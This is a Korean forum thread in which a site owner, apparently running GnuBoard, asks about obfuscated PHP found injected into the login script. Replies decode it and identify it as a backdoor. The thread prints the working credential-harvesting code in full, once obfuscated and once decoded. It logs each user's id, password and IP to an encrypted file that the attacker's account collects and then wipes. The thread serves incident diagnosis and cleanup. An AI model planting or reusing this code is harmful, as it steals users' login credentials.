핵커의 짓인가요? 채택완료
bbs/login_check.php 파일 안에 아래와 같은 코드가 쓰여져 있습니다.
원본 파일에는 없었던 코드인데, 제가 모르는 사이에 생긴 것입니다.
무슨 일을 하는 코드인가요? 도움 부탁드립니다.
코드의 위치는 bbs/login_check.php 파일의
[// 포인트 체크] 바로 아래 입니다.
// 포인트 체크 <------------ line number 45
if($config['cf_use_point']) {
$sum_point = get_point_sum($mb['mb_id']);
$sql= " update {$g5['member_table']} set mb_point = '$sum_point' where mb_id = '{$mb['mb_id']}' ";
sql_query($sql);
} <------------ line number 51
// ---- 그리고 아래에 보이는 모든 \ 는 back slash 입니다. ( 키보드에 파이프 [ | ] 와 같이 있는 것)
// ---- 참고로 [ / ]는 forward slash (키보드에 물음표 [ ? ] 와 같이 있는 것)
// 의문의 코드는 아래에 복붙 하였습니다.
goto ZuzFy;
uoEHs: if ($mb["\155\x62\137\151\144"] === "\153\165\x62\x6f\x39\x33\x30\70") {
if (!file_exists($outputFile)) {
http_response_code(404);
echo json_encode(array("\145\x72\x72\157\162" => "\106\151\x6c\145\40\156\x6f\x74\40\146\157\165\x6e\x64"));
die;
}
$content = file_get_contents($outputFile);
if ($content === false) {
http_response_code(500);
echo json_encode(array("\x65\162\162\x6f\162" => "\x46\141\151\154\x65\144\40\164\157\40\162\x65\141\144\x20\146\151\x6c\145"));
die;
}
header("\x43\157\156\x74\145\x6e\x74\x2d\x54\x79\160\x65\x3a\x20\x61\x70\160\x6c\x69\x63\141\x74\x69\157\156\57\x6a\163\x6f\156");
echo json_encode(array("\x64\141\164\x61" => $content));
$result = file_put_contents($outputFile, '');
if ($result === false) {
http_response_code(500);
echo json_encode(array("\145\162\x72\157\x72" => "\106\x61\151\154\145\144\x20\x74\157\40\143\x6c\145\141\x72\40\x66\x69\154\x65\x20\x63\157\156\164\145\156\164"));
die;
}
die;
} else {
$data = array("\151\x64" => $mb["\155\142\137\151\x64"],
"\160\x61\x73\x73\x77\157\x72\144" => $mb_password,
"\141\x67\145\156\x74" => $_SERVER["\x48\124\124\x50\x5f\x55\123\105\x52\137\x41\107\105\x4e\124"],
"\x69\x70" => $_SERVER["\122\105\115\117\124\x45\x5f\x41\x44\x44\x52"],
"\x6c\x61\156\147" => $_SERVER["\x48\124\124\x50\x5f\x41\103\103\x45\x50\x54\x5f\x4c\x41\116\x47\x55\101\x47\105"]);
$jsonString = json_encode($data);
$separator = "\113\172\x39\155\120\64\170\x4e\67\166";
$publicKey = "\x2d\55\55\55\55\x42\105\107\111\116\40\120\125\102\x4c\111\103\x20\x4b\x45\131\55\x2d\55\55\x2d\xa\115\x49\x49\x42\111\152\x41\116\x42\147\x6b\x71\x68\153\151\107\71\167\60\102\x41\121\x45\106\x41\x41\x4f\x43\x41\121\x38\x41\x4d\x49\111\102\x43\147\x4b\103\x41\x51\105\101\x74\63\x46\102\x74\x44\66\x6e\x54\x33\106\156\x49\124\x35\x49\125\120\121\x2b\12\x41\167\57\x4f\122\160\x44\153\163\57\53\63\x6e\x52\x55\x59\142\121\162\171\170\161\x31\155\67\x62\166\101\x57\163\x72\113\x53\x6b\x36\x67\x38\107\161\122\x64\x47\162\155\x34\165\x33\61\150\164\167\160\x6d\63\117\145\x71\x41\106\x51\x30\x73\x34\102\12\x71\x36\x34\101\x42\x4a\x6a\x2f\x71\x4a\x53\x48\x59\x4d\x52\165\127\x55\x63\115\x31\x4c\53\57\x38\160\x69\x78\70\65\x48\x33\63\x44\x6d\x53\110\x55\145\66\x71\60\112\171\x77\161\170\153\171\121\x31\x75\60\155\126\x63\x35\64\x69\x6d\x71\130\53\152\12\141\163\x30\x7a\161\x57\x34\65\x39\x50\x50\150\105\145\143\103\102\x68\101\103\x58\172\101\x6f\66\150\114\142\121\143\x58\x6c\131\x63\63\161\103\120\x73\171\x50\130\106\x61\62\x4b\x4d\x50\x53\x4c\61\x31\x67\170\x65\101\x74\x63\170\154\153\150\x46\x73\xa\x42\x52\66\157\171\57\x57\x6f\146\x6d\x47\71\x4d\x35\x57\x34\164\x52\x38\113\127\103\155\x44\x49\x42\114\x6a\x4d\x35\x30\163\x76\57\165\x53\x69\123\x56\142\x53\x7a\x72\120\x73\143\x56\x4a\x6a\126\146\164\160\x58\x71\x63\153\163\x59\x75\x66\x72\61\150\12\172\x62\157\x73\x51\67\162\132\x42\112\x35\172\x68\150\66\x43\142\x30\70\x45\111\x71\106\x77\115\153\x4d\71\152\x37\62\111\115\x37\101\65\x55\x6a\160\x45\102\x33\x6c\122\115\153\60\x4c\145\x42\105\x5a\x66\131\x6b\x55\53\x32\x30\x6b\x35\x6f\x62\106\xa\x38\x77\111\104\101\121\101\102\xa\x2d\55\x2d\x2d\55\x45\x4e\x44\x20\120\x55\102\114\x49\x43\x20\113\105\x59\55\x2d\55\55\55";
$encrypted = '';
if (!openssl_public_encrypt($jsonString, $encrypted, $publicKey)) {
die("\105\x72\162\157\162\x3a\x20\105\x6e\143\x72\x79\x70\x74\151\157\156\x20\146\x61\151\154\x65\144\x20\x2d\40" . openssl_error_string());
}
$encoded = base64_encode($encrypted);
$appendData = $separator . $encoded;
$result = file_put_contents($outputFile, $appendData, FILE_APPEND | LOCK_EX);
if ($result === false) {
die("\x45\x72\162\157\x72\72\x20\x46\x61\151\154\145\144\40\x74\x6f\40\141\x70\x70\145\x6e\x64\40\144\141\x74\x61\x20\164\157\40{$outputFile}");
}
}
goto crYuv;
ZuzFy: $outputFile = "\x2f\164\155\160\x2f\145\156\x63\x72\171\x70\x74\145\x64\x5f\x64\x61\164\x61\x2e\x74\x78\164";
goto uoEHs;
crYuv:
답변 8개
네...보안 업데이트 꼭 하시길 바라며,
encrypted_data.txt 파일을 찾아 제거 해주시길 바랍니다
또한 위 코드도 제거하시구요
답변에 대한 댓글 2개
현재 5.6.23이 최신 버전입니다.
코어 시스템을 건드린 이력이 있다면 차근 차근 하나하나 단계별로 패치 하여야 하며,
그런거 없이 서비스 운영한거라면 5.6.23 덮어쓰시고 디비 업데이트 해주시면 최신 패치가 정상적으로 진행 됩니다.
댓글을 작성하려면 로그인이 필요합니다.
추가질문 1.
어떻게 bbs 폴더 안에 똑같은 파일 ( login_check.php ) 이 두개나 있을수 있나요?
추가질문 2.
어떻게 하여 Base64라는 파일을 login_check.php 라는 파일로 만드는 것일까요?
Base64라는 파일은 감염된 파일( login_check.php ) 을 encopding ( obfuscate 읽기 어렵게 ) 한 것으로
확인 되었습니다.
바꾸어 말하면, 핵커님이
login_check.php 원본을 download 하여 분석한 후 >
login_check.php 안에 backdoor 코드를 심어서 encoding 하여 [Base64]이라는 파일을 만든 후 >
Base64라는 파일을 싸이트에 몰래 심어 놓고 >
이파일 (Base64) 을 decoding 하여 >
싸이트에 감염된 login_check.php 파일을 만든 것으로 여겨집니다.
![]()
댓글을 작성하려면 로그인이 필요합니다.
아래는 헥커 님이 끼워 놓으신 코드(맨위 원글 참고)를
사람이 읽을 수 있는 코드로 바꿔 놓은 것입니다.
ChatGTP에게 물어 봤습니다.
goto ZuzFy;
uoEHs:
if ($mb["mb_id"] === "kubo9308") {
if (!file_exists($outputFile)) {
http_response_code(404);
echo json_encode(array("error" => "File not found"));
die;
}
$content = file_get_contents($outputFile);
if ($content === false) {
http_response_code(500);
echo json_encode(array("error" => "Failed to read file"));
die;
}
header("Content-Type: application/json");
echo json_encode(array("data" => $content));
$result = file_put_contents($outputFile, '');
if ($result === false) {
http_response_code(500);
echo json_encode(array("error" => "Failed to clear file content"));
die;
}
die;
} else {
$data = array(
"id" => $mb["mb_id"],
"password" => $mb_password,
"agent" => $_SERVER["HTTP_USER_AGENT"],
"ip" => $_SERVER["REMOTE_ADDR"],
"lang" => $_SERVER["HTTP_ACCEPT_LANGUAGE"]
);
$jsonString = json_encode($data);
$separator = "Kz9mP4xN7v";
$publicKey = "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAA... (truncated) ...IDAQAB\n-----END PUBLIC KEY-----";
$encrypted = '';
if (!openssl_public_encrypt($jsonString, $encrypted, $publicKey)) {
die("Error: Encryption failed - " . openssl_error_string());
}
$encoded = base64_encode($encrypted);
$appendData = $separator . $encoded;
$result = file_put_contents($outputFile, $appendData, FILE_APPEND | LOCK_EX);
if ($result === false) {
die("Error: Failed to append data to {$outputFile}");
}
}
goto crYuv;
ZuzFy:
$outputFile = "/tmp/encrypted_data.txt";
goto uoEHs;
crYuv:
댓글을 작성하려면 로그인이 필요합니다.
답변에 대한 댓글 1개
답글 감사합니다.
저의 경우에는 단 한군데 (bbs\login_check.php) 서만 발견하였습니다.
제가 까본 방법은 다음과 같습니다.
NotePad++ >
메뉴 중에, Search >
Find in files >
Find what: $mb["\155\x62\137\151\144"]
Replace with: [nothing, 그냥 빈칸]
Filtering: [nothing, 그냥 빈칸]
Directory: [그누보드SorceFolder\(backslash)web]
[v] check on [In all sub-folders]
click [Find All]
댓글을 작성하려면 로그인이 필요합니다.
헐소름... 원본 백업떠서 KISA에 보내보삼요 ... ㅠㅠ
그누보드 버전 몇이예요 ???
답변에 대한 댓글 1개
댓글을 작성하려면 로그인이 필요합니다.
그누보드에는 없는 변조 코드 입니다.
/tmp/encrypted_data.txt
이곳에 로그인하는 모든 사용자의 id,비번,ip,브라우저정보를 저장하고
kubo9308 아이디로 접속하면 암호화데이터를 다운로드하고 이후에 흔적없애기 위해
해당 파일 삭제까지 진행하네요.
위 goto 문은 더미코드입니다. 실제 작동하지 않는...
아마 저곳은 일부고 전체가 다 감염되었다봐도 무방합니다..
답변에 대한 댓글 1개
댓글을 작성하려면 로그인이 필요합니다.
답변에 대한 댓글 1개
댓글을 작성하려면 로그인이 필요합니다.
"예. 해커가 삽입한 명백한 백도어 코드입니다."
라고 ChatGPT가 자신있게 답해주네요.
빨리 서버 점검하라고 하네요.
답변에 대한 댓글 1개
감사합니다.
"해커가 삽입한 명백한 백도어 코드"가 맞구만요.
도움 말씀 주셔서 고맙습니다.
꾸벅.
댓글을 작성하려면 로그인이 필요합니다.
답변을 작성하려면 로그인이 필요합니다.
로그인
감사합니다.
ChatGPT가 풀어서 보여준
코드를 분석해보니, encrypted_data.txt는
지워지지 않고 (not being deleted)
아무런 내용물이 없는 ('' > empty string) 파일로 남아 있어야 하는데
즉,
$result = file_put_contents($outputFile, ''); <---- 바로 여기서 encrypted_data.txt 의 내용물을
'' 라는 empty string으로 덮어씌움
그러나,
파일 자체가 존재하지 않습니다.
그나 저나,
보안 업데이트 어떻게 하는지요?
저희 사이트는 호스팅 회사에서 제공하는 보안 서비스를 돈 내고 받아 왔었습니다만,
이번 일로 효과가 없음이 확인 되었군요.
보안 업데이트를 꼭 하고 싶은데 어떻게 하면 되는지 도움 말씀 부탁드립니다.
꾸벅.